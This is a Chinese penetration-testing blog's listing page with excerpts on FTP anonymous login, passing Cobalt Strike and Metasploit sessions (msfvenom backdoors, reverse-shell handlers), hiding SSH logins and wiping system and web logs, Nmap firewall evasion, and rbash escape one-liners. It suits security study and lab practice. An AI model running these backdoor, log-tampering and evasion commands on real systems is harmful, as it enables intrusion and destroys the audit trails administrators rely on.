首页
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
7,410 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,053 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
4,167 阅读
4
几个常见的密码字典推荐
3,189 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
3,165 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
Windows渗透
域渗透
HackMyVm
CyberStrikeLab靶场
内网渗透
渗透测试
Web安全
网络安全
cyberstrikelab
OSCP
SQL注入
WAF绕过
信息收集
渗透工具
靶场
靶场推荐
MSF
ThinkPHP漏洞
Vulfocus
vulnhub
白小羽
累计撰写
184
篇文章
累计收到
0
条评论
首页
导航
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
工具导航
留言面板
友情链接
搜索到
184
篇与
的结果
2025-05-18
ftp匿名登录
FTP协议-匿名用户登录前言日常大家可能接触web漏洞比较多而对其他端口及协议不那么了解,其实其他协议漏洞在渗透中也同样重要只是平时可能接触得不多。本文将介绍FTP协议、FTP匿名用户登录及其具体流程分析和自动化利用demo。FTP简介FTP是File Transfer Protocol(文件传输协议)的简称,用于internet上的控制文件的双向传输。很多人以为FTP是一个服务,实际上FTP 是一个协议而不是一个服务,应用到FTP协议的服务有很多,常用的就是vsftpd。FTP有三种用户模式: 匿名用户模式: 允许任何人无需提供用户名和密码即可登录 FTP 服务器。 通常对访问权限有严格限制,只能访问特定的公共目录,并且可能无法进行上传、删除等操作。 本地用户模式: 使用服务器操作系统中的本地用户账号和密码进行登录。 登录后,用户的权限与在本地操作系统中的权限相同。 比如,服务器上有个用户名为“user1”,其在操作系统中具有特定的文件和目录权限,那么在通过 FTP 以“user1”登录时,将拥有相同的权限。 虚拟用户模式: 这并非真正的操作系统用户,而是 FTP 服务器自定义的用户。 具有特定的权限配置,可根据需求灵活设置权限,实现更精细的访问控制。 常用于需要为 FTP 服务创建特殊权限用户,而又不想直接使用本地系统用户的情况。 FTP协议占用情况:21端口:命令控制,用于接收客户端执行的FTP命令。20端口:数据传输,用于上传、下载文件数据。、FTP服务搭建-vsftpdvsftpd默认以匿名用户访问,不修改配置文件的话本身就存在匿名用户登录漏洞。vsftpd安装yum -y install vsftpd服务启动systemctl vsftpd start防火墙规则放行firewall-cmd --zone=public --add-service=ftp --permanent firewall-cmd --zone=public --add-port=21/tcp --permanent复现分析进行连接ftp 192.168.174.128输入用户名 anonymous和ftp都行经过测试发现密码置为空或者是随意输入都可成功登录抓包分析首先进行TCP三次握手建立连接建立连接后服务端向客户端发送包,表示服务已为新连接的用户就绪以及一些服务信息客户端发送包表示表示服务器需要切换到UTF8字符集进行工作服务端再向客户端回包表示表示命令执行成功且已在工作再UTF8模式下接下来就是整个登录的流程,包括指定用户、输入密码和登录成功指定登录用户提示输入密码输入密码提示登录成功脚本测试可以使用python的ftplib库模拟FTP协议登陆的行为来进行自动化测试简单demo# -*- coding:utf-8 -*- """ @Created on : 2024/8/1 16:28 @Auther: c @Des: """ import ftplib from loguru import logger def anonymous_login(ip): try: ftp = ftplib.FTP(ip) logger.info("尝试匿名用户登录" + ip) ftp.login() except ftplib.all_errors as e: logger.info(f"匿名用户利用失败: {e}") else: logger.info("存在匿名用户" + ip) if __name__ == '__main__': anonymous_login('192.168.174.128')我们可以具体跟进看到login函数默认的用户为anonymous密码为anonymous@确实是登录成功了修复措施vsftpd下禁用匿名用户登录需修改配置文件/etc/vsftpd/vsftpd.conf,将anonymous_enable=YES修改为anonymous_enable=NO,再重新启动服务。再次用脚本测试可以看到登陆失败在wireshark中同样也是总结针对端口协议自动化探测及利用的脚本编写在此只做了简单demo示例。如果想更进一步,可以对端口进行遍历或指定探测,与特定服务返回数据包中固定字段进行匹配识别出协议再打对应协议漏洞poc。
2025年05月18日
1,030 阅读
0 评论
0 点赞
2025-05-18
CS与MSF联动,CobaltStrik和MSF联动的方法,msf上线CobaltStrik
CS与MSF联动0x01 CS与MSFCobaltStrike(简称CS)是一款美国Red Team开发的渗透测试神器。Armitage是一个MetasploitFramework(简称MSF)的图形化界面工具,而CobaltStrike大家可以理解其为Armitage的商业版。早期版本CobaltSrtike依赖MetasploitFramework框架,而现在CobaltStrike已经不再使用MetasploitFramework而是作为单独的平台使用,它分为客户端(Client)与服务端(Teamserver),服务端是一个,客户端可以有多个,团队可进行分布式协团操作。CobalStrike 与 MetasploitFramework 均是渗透测试中不可缺少的利器,各有所长。前者更适合做稳控平台,后者则更擅长内网各类探测搜集与漏洞利用。两者更需要灵活的联动,各自相互依托,从而提升渗透的效率。0x02 CS传递会话到MSF为了方便演示操作,将CS的服务端与MSF服务都设置在同一个IP上。1. CS操作先在CobaltStrike上新建一个监听器(Beacon HTTP)这里的IP端口号指CS服务端利用CobaltStrike生成一个后门文件将后门文件放在受害主机中执行,之后受害主机就会上线到CS了至此,CobaltStrike获得到了一个会话2. MSF操作在MetasploitFramework上开启一个meterpreter监听(reverse_http),用于接收CobaltStrike传递过来到会话use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 192.168.158.129 # MSF所在主机的ip set lport 4444 # MSF所在主机自定义端口号 run 3. 会话传递先在CobaltStrike上创建一个监听(Foreign HTTP),IP 和 端口号需要与MetasploitFramework中设置监听的保持一致然后在CobaltStrike上选中要传递到会话,点击右键选择增加会话(Spawn) ,再选择刚刚创建的监听(Foreign HTTP)上述步骤完成后,在MetasploitFramework中就可以看到CobaltStrike传递过来到会话了0x03 MSF传递会话到CS1. CS操作在CobaltStrike上新建一个监听器(Beacon HTTP)2. MSF操作先通过msfvenom生成后门文件msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.158.129 LPORT=7777 -f exe > msfshell.exe 这里的IP端口号指MSF服务所在主机使用msfconsole启动MetasploitFramework,设置meterpreter监听用于接收后门文件反弹到shelluse exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.158.129 # msf所在主机的ip set lport 7777 # msf所在主机自定义端口号,与后门文件中的一致 run 将后门文件放置受害主机运行后,MetasploitFramework上会获得一个meterpreter的shell3. 会话传递将获取到的MetasploitFramework会话挂至后台,会看到一个会话sessions idbackground 调用 payload_inject 模块,将指定会话session id注入到新到CobaltStrike会话中use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set lhost 192.168.158.129 # CS服务端IP set lport 80 # CS服务端监听的端口号 set DisablePayloadHandler True set PrependMigrate True set session 4 # 会话id run 上述步骤完成后,在CobaltStrike中就可以看到MetasploitFramework传递过来到会话了参考文章https://teamssix.com/210129-191714.htmlCobaltstrike 学习笔记(三)CS与MSF联动 -
2025年05月18日
1,190 阅读
0 评论
0 点赞
2025-05-18
linux隐身登录
ssh隐身登录前言之前在打靶机的时候遇见的知识点。今天刚好优化学习一下,如果哪里有错误还请指正,欢迎留言,让更多的师傅们交流学习,还请不要使用文章内容进行非法渗透。本次教程主要用到w和last两个命令w命令介绍w 是什么?我用的ubuntu系统,在ubuntu系统中的w命令,主要用于显示当前当前登录用户的所有信息,包括正在执行的命令。比如我新建两个ssh连接(也就是两个终端,连同一个服务器)。终端1:执行 ping www.baidu.com在ping的过程中,打开终端2,那么就能看到当前用户正在使用 ping 命令但是我们使用 w 命令的时候,此时能看到当前登录的信息,这个TTY下的pts/0和pts/2意思就是伪终端的区分,也就是两个不同的ssh连接。两个ssh的连接,连接的同一个服务器last命令last命令主要用于显示用户的登录历史记录。这个命令会读取/var/log/wtmp文件(在某些系统中可能是/var/log/btmp)同样的我们登录两个ssh连接,使用这个命令也能看到有两台机器登录隐藏登录真实渗透过程中是相当致命的。那么如何隐藏自己呢?那么就要用到如下命令ssh -T root@xxx.xxx.xxx.xxx /bin/bash -i 命令拆解-T :告诉ssh客户端,不要分配一个TTY(伪终端)root :连接用户xxx.xxx.xxx.xxx :连接的服务器ip地址/bin/bash :在远程服务器上启动一个交互式的Bash shell。效果如下,默认登录一个终端的时候,会有一个pts/0,但是这里已经成功隐藏了登录配置一台正常连接的ssh终端,也可以看到,我同时登录了两台服务器,但是只显示了一台服务器登录。ssh root@xxx.xxx.xxx.xxx出于安全考虑,通常禁用root通过ssh登录,或者禁止root用户执行某些操作,使用普通用户登录系统。排查使用 $PPID,可以看到当前用户的父进程信息。清楚当前的history记录如果我们不希望命令被记录,在退出会话前直接执行:# 清楚当前会话的命令历史记录 history -r # 或者 不给当前的shell留时间去处理,内存的命令也没时间写入到文件 kill -9 $$history -r将历史命令文件中的命令(/.bash_history) 读入当前历史命令缓冲区.history -r 把历史文件(/.bash_history)附加到内存数据中了举例,ping www.baidu.com后,kill,连接断开重新登录,history,并没有ping 这条命令,隐藏成功正常退出重连,history隐藏Vim的操作记录当我们使用 vim时候,会在 ~/.viminfo留下操作记录,建议使用vi 。 或者在vim中使用命令关闭记录。:set history=0 :!command 隐藏文件修改时间一般管理员会查看一个文件的修改时间,我们可以把我们的后门文件时间修改成几天之前创建的效果。使用如下命令。# touch -r A B ,将 B 文件的日期改为 A 文件的日期 touch -r appsetting.json longyusec.txt虽然如此,但还是能用stat命令看到修改时间stat中的三个属性意思是最近访问(access time):表示我们最后一次访问(仅仅是访问,没有改动)文件的时间 最近更改(modify time):表示我们最后一次修改文件的时间 最近改动(change time):表示我们最后一次对文件属性改变的时间,包括权限,大小,属性等等或者使用find命令,查找24小时内被修改过的文件find ./ -ctime 0 -name 'longyusec.txt'那么如果再绕过 stat的检测呢? 修改系统时间后再 touch -r A B 就可以了。最后记得把系统时间改回来啊锁定文件有时候你发现用root权限都不能修改某个文件,大部分原因是曾经用chattr命令锁定该文件了。此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。chattr命令不能保护/、/dev、/tmp、/var目录。lsattr命令是显示chattr命令设置的文件属性。chattr +i shell.php #锁定文件 rm -rf shell.php #提示禁止删除 lsattr shell.php #属性查看 chattr -i shell.php #解除锁定 rm -rf shell.php #删除文件让某个文件只能往里面追加数据,但不能删除,适用于各种日志文件# chattr +a /var/log/messages清除系统日志痕迹Linux 系统存在多种日志文件,来记录系统运行过程中产生的日志清除系统日志痕迹/var/log/btmp 记录所有登录失败信息,使用lastb命令查看 /var/log/lastlog 记录所有用户最后一次登录时间的日志,使用lastlog命令查看 /var/log/wtmp 记录所有用户的登录、注销信息,使用last命令查看 /var/log/utmp 记录当前已经登录的用户信息,使用w,who,users等命令查看 /var/log/secure 记录与安全相关的日志信息 /var/log/message 记录系统启动后的信息和错误日志 # 直接覆盖日志文件 echo > /var/log/btmp cat /dev/null > /var/log/secure # 删除所有匹配到字符串的行,比如以当天日期或者自己的登录ip sed -i '/自己的ip/'d /var/log/messages # 全局替换登录IP地址: sed -i 's/192.168.166.85/192.168.1.1/g' secure清除web日志入侵痕迹# 直接替换日志ip地址 sed -i 's/192.168.166.85/192.168.1.1/g' access.log # 清除部分相关日志 cat /var/log/nginx/access.log | grep -v evil.php > tmp.log # 把修改过的日志覆盖到原日志文件 cat tmp.log > /var/log/nginx/access.log/文件安全删除工具# shred 命令 安全的从硬盘上擦除数据,默认覆盖3次,通过 -n指定数据覆盖次数 [root@centos]# shred -f -u -z -v -n 8 1.txt # wipe 使用特殊的模式来重复地写文件,从磁性介质中安全擦除文件 [root@centos]# wipe filename学习于(有删改):https://www.cnblogs.com/awake1t/p/14504139.html往期推荐【重要通知】关于举办第二届CN-fnst::CTF的通知【kali笔记】这样炫酷的终端签名,是如何打印出来的?渗透测试高频面试题分享upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析开箱即用!265种windows渗透工具合集--灵兔宝盒
2025年05月18日
1,577 阅读
0 评论
0 点赞
2025-05-18
内网隐蔽扫描,Nmap高级用法
前言Nmap(Network Mapper)是一款开源免费的网络发现和安全审计工具,主要用于扫描目标主机的开放端口、操作系统类型、启用的服务等信息。以下是Nmap的一些常见使用介绍Nmap的常见使用介绍主机发现:Nmap可以通过发送不同类型的探测包(如ICMP echo请求、TCP SYN包等)来检测目标主机是否在线。常用命令如-sn(Ping扫描,只进行主机发现,不进行端口扫描)和-PE/PP/PM(使用ICMP echo、timestamp、netmask请求包发现主机)。端口扫描:Nmap支持多种端口扫描技术,包括TCP SYN扫描(-sS)、TCP connect扫描(-sT)、UDP扫描(-sU)等。用户可以根据需要选择适当的扫描方式,以探测目标主机上开放的端口。版本探测:Nmap能够探测目标主机上运行的服务及其版本信息。通过发送特定的探测包并分析响应,Nmap可以识别出服务的类型和版本。使用-sV选项可以启用版本探测功能。操作系统探测:Nmap还能够尝试识别目标主机的操作系统类型。通过收集目标主机的响应数据包中的指纹信息,并与已知的操作系统指纹库进行比对,Nmap可以推断出目标主机的操作系统。使用-O选项可以启用操作系统探测功能。NSE脚本引擎:Nmap的强大之处在于其内置的NSE(Nmap Scripting Engine)脚本引擎。用户可以通过编写或运行NSE脚本来扩展Nmap的功能,实现更复杂的网络探测和安全审计任务。结果输出:Nmap支持将扫描结果输出到不同的格式,包括文本、XML、Grepable等。用户可以根据需要使用相应的输出选项(如-oN、-oX等)来保存扫描结果。使用教程一、基本教程(附图文)1、指定端口扫描主机的开放端口,在nmap后面直接跟主机IP(默认扫描1000个端口)扫描指定端口,使用 -p 参数,可以一次扫描单个端口、多个端口、或扫描一个范围的端口nmap 192.168.31.180 -p 80 nmap 192.168.31.180 -p 1-80 nmap 192.168.31.180 -p 80,3389,22,21 nmap 192.168.31.180 -p 1-65535 nmap 192.168.31.180 -p- # -p- 等价于 -p 1-655352、主机探测扫描网段中有哪些主机在线,使用 -sP 参数,不扫描端口,只扫描「存活主机」。本质上是Ping扫描,能Ping通有回包,就判定主机在线。nmap -sP 192.168.209.0/243、服务识别扫描端口时,默认显示端口对应的服务,但不显示服务版本。想要识别具体的「服务版本」,可以使用 -sV 参数。nmap 192.168.209.1 -p 80-1000 -sV4、系统识别想要识别「操作系统版本」,可以使用 -O 参数。nmap 192.168.209.1 -OTips:Nmap扫描出的系统版本并不是完全正确的,仅供参考。当识别不出具体版本时,Nmap会以概率的形式列举出可能的操作系统,如上图所示。5、导出扫描结果Nmap的扫描结果可以保存到文件中,比如文本格式、XML格式。1)将扫描结果导出为「文本格式」,结果原样保存。nmap 192.168.209.1 -p 80-1000 -oN result.txt2)将扫描结果导出为「xml格式」,结果的保存格式会发生变化。nmap 192.168.209.1 -p 80-1000 -oX result.xml二、高级用法扫描绕过安全设备欺骗发送参杂着假ip的数据包检测nmap -D 111.111.111.111 192.168.209.11、碎片扫描通过将数据包分割成更小的部分发送,使得防火墙更难识别这些数据包属于一个扫描流量。nmap -f <目标IP地址> # 使用随机偏移量的碎片扫描 nmap -mtu 8 <目标IP地址> # 指定MTU大小为8的碎片扫描2、诱饵扫描在扫描数据包中添加多个诱饵IP地址,使目标防火墙难以判断真正的扫描源,从而增加扫描的隐蔽性。nmap -D RND:10 <目标IP地址> # 随机使用10个诱饵IP地址 nmap -D decoy1,decoy2,decoy3 <目标IP地址> # 指定具体的诱饵IP地址3、空闲扫描利用一台空闲主机(zombie host)作为跳板,通过向空闲主机发送经过特殊构造的数据包,间接地探测目标主机的端口状态,而无需直接向目标主机发送数据包。nmap -P0 -sI zombie <目标IP地址> # 使用名为zombie的空闲主机进行扫描注意:这里的“zombie”应替换为实际的空闲主机地址(简称僵尸机)。4、随机数据长度在发送的数据包中填充随机长度的数据,以绕过一些基于数据包长度过滤的防火墙规则。nmap --data-length 25 <目标IP地址> # 在每个数据包中填充25字节的随机数据5、欺骗扫描通过伪造源IP地址或MAC地址,使防火墙难以追踪真实的扫描源。nmap --sT -PN --spoof-mac aa:bb:cc:dd:ee:ff <目标IP地址> # 伪造源MAC地址进行TCP连接扫描 nmap --badsum <目标IP地址> # 发送带有错误校验和的数据包,可能绕过某些简单的防火墙规则 nmap -cloak-source <spoofed_ip1>,<spoofed_ip2> <target_ip> # 伪造ip地址进行扫描6、SYN扫描虽然SYN扫描本身并不直接绕过防火墙,但它是一种非常隐蔽的扫描方式,因为它只发送SYN包而不完成整个TCP握手过程,从而减少了被防火墙检测到的可能性。nmap -sS <目标IP地址> # 使用SYN扫描方式7、使用特定端口或绕过常用端口一些防火墙规则基于端口过滤,可以尝试使用特定的源端口来绕过。例如,很多防火墙允许HTTP端口(80)和HTTPS端口(443)通过。nmap --source-port 80 <目标IP地址> # 使用HTTP端口作为源端口进行扫描8、ARP Ping扫描(-PR)nmap -sn -PR <target_network> # 或者 nmap -PR <target_network>Tips:ARP 扫描仅适用于局域网环境,因为它依赖于 ARP 协议,该协议用于在局域网内解析 IP 地址到 MAC 地址。ARP 扫描可能无法发现配置了 ARP 过滤或 ARP 欺骗防护措施的主机。总结Nmap作为一款开源免费的网络发现和安全审计工具,功能强大且多样。它不仅能够进行主机发现和端口扫描,识别目标主机上的服务及其版本信息,还能尝试探测操作系统的类型。通过内置的NSE脚本引擎,Nmap的功能得到了进一步扩展,可以实现更复杂的网络探测任务。此外,Nmap支持将扫描结果输出到不同格式的文件中,便于用户保存和分析。高级用法中,Nmap提供了多种扫描策略,如碎片扫描、诱饵扫描和空闲扫描等,以帮助用户绕过安全设备的检测,增加扫描的隐蔽性和灵活性。自学网络安全,互相交流的同时还能交朋友,和博主一起来交流学习吧往期推荐别他妈扫端口了!老子在404页面养了个XSS丧尸军团护网三天裤衩漏?当代网安打工人掀桌暴走史当面试官逼问「如何绕过WAF」时,老子反手在会议室种了个0day还在SQL注入里当脚本小子?破解特斯拉的男人配叫黑客!【面试现场】菜鸟一句话干翻十年老渗透!神器分享 红队快速打点工具-DarKnuclei雷池+frp内网穿透,搭建企业级内网防护,无需花高额费用买服务器,教科书级别教学红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路
2025年05月18日
1,905 阅读
0 评论
0 点赞
2025-05-18
渗透测试rbash逃逸,rbash逃逸的12种方式
简述什么是rbash?rbash(The restricted mode of bash),也就是限制型bash;是平时所谓的restricted shell的一种,也就是最常见的restricted shell,它与一般shell的区别在于会限制一些行为,让一些命令无法执行如何设置?useradd -s /bin/rbash test # 设置用户test登陆的shell为rbash mkdir -p /home/test/.bin # 在test用户下新建一个.bin目录存放可以执行的命令为rbash逃逸做信息收集1、枚举环境变量执行env或printenv命令来查看当前的环境变量设置。特别是PATH和SHELL变量,它们可能影响到命令的查找和执行。2、检查可用应用和服务文本编辑器:如vi、vim、nano等,这些编辑器有时候允许用户执行系统命令。其他系统工具:如ftp,more,less,man等,这些工具在特定情况下也可用于执行命令逃逸调试工具:如gdb,在某些配置下可能允许用户执行任意代码3、枚举可用的命令和操作符命令枚举:检查哪些命令在rbash环境中是可用的。这通常包括一些基本的文件操作命令(如ls、cat、echo等),以及可能未被禁用的系统命令。操作符枚举:尝试使用重定向操作符(如>、>>、<等)和管道操作符(|),以评估它们是否可用。这些操作符在构建逃逸命令时可能非常有用。4、检查可用编程语言python perl ruby php java等5、用户和sudo权限用户权限:了解当前用户的权限范围,包括可以访问哪些文件和目录。sudo权限:使用sudo -l命令查看当前用户是否有sudo权限以及可以执行哪些命令。这有助于评估是否可以通过sudo命令绕过rbash限制。常见的逃逸技术1、”/“字符如果/字符被允许我们可以直接运行:/bin/bash2、cp命令可以直接赋值/bin/bash或者passwd中root的终端目录直接运行cp /bin/bash test1 cp /bin/sh test2 ./test1 # 切换到了/bin/bash ./test2 # 切换到了/bin/sh图例3、常见的应用探测系统中是否存在常见应用FTP,GDB(调试程序的工具)等。执行:ftp> !/bin/sh执行:gdb> !/bin/shman / git执行:man > !/bin/sh执行:git > git help statusvi / vimvi test :!/bin/sh # 利用vi/vim中可以执行命令的特点more / less 同上操作more test_file !/bin/sh4、set shell在一些编辑器中可以设置shell变量然后执行,如vim中# vim/vi进入之后 :set shell=/bin/sh # 或者用/bin/bash :shell # 切换完成之后还要添加环境变量,给$PATH变量增加两个路径,用来查找命令 export PATH=$PATH:/bin/ export PATH=$PATH:/usr/bin/比如DC-2靶机,文章参考-------5、更改PATH或者Shell环境变量export查看环境变量PATH 和 SHELL 变量的权限设置很可能是:r-x ,这就意味着我们只能执行和读取,不能写入。如果有w权限的话,我们可以直接给它写入/bin/bash6、编程语言语言可以帮我们切换shell的类型,通常用来升级终端,比如webshell反弹成功之后,我们不能使用su命令,应为它具有交互式(比如输入密码)的操作,这个时候就可以用计算机语言来转换shell的类型,案例参考:pythonpython -c "import os;os.system('/bin/bash')" 或者 python -c "import pty;pty.spawn('/bin/bash')"perlperl -e "exec '/bin/sh';"rubyexec "/bin/sh"7、su命令切换用户的时逃逸,这里的原理涉及到su和su -的区别:su命令只会更待当前用户,而不会更改当前的用户环境,比如从root用户在自己的根目录下切换到kali用户,我们当前所处的目录还是rootsu -命令,则在更改当前用户信息的同时还会更改用户环境,但如果你从root用户su -到root账户,你会发现你的当前路径已经变为/root/,环境变量也变了逃逸过程su -l tw su - tw su --login tw8、ssh登录逃逸它的原理就是借助-t远程在远程机器上运行脚本正常登录成功的样子逃逸成功的样子命令如下ssh username@IP -t "/bin/bash" or "/bin/sh" ssh username@IP -t "bash --noprofile" ssh username@IP -t "() { :; }; /bin/bash"注意使用bash --noprofile和() { :; }; /bin/bash的时候没有登录成功的提示,以及登录时间之类的9、awk超级玛丽靶机awk 'BEGIN {system("/bin/sh")}' 或 awk 'BEGIN {system("/bin/bash")}'10、findfind / -name SomeName -exec /bin/sh ; find / -name SomeName -exec /bin/bash ;11、zipzip demo.zip /data/demo -T --unzip-command="sh -c /bin/bash"12、tartar cf /dev/null filename --checkpoint=1 --checkpoint-action=exec=/bin/bash总结本文仅以rbash为例进行演示,但这些逃逸技巧同样适用于其他类型的受限shell。值得注意的是,由于不同系统的特性各异,逃逸方式也会存在较大差异。用户安装的git、tar、zip等工具,往往能为我们提供极大的帮助。
2025年05月18日
1,474 阅读
0 评论
0 点赞
1
...
31
32
33
...
37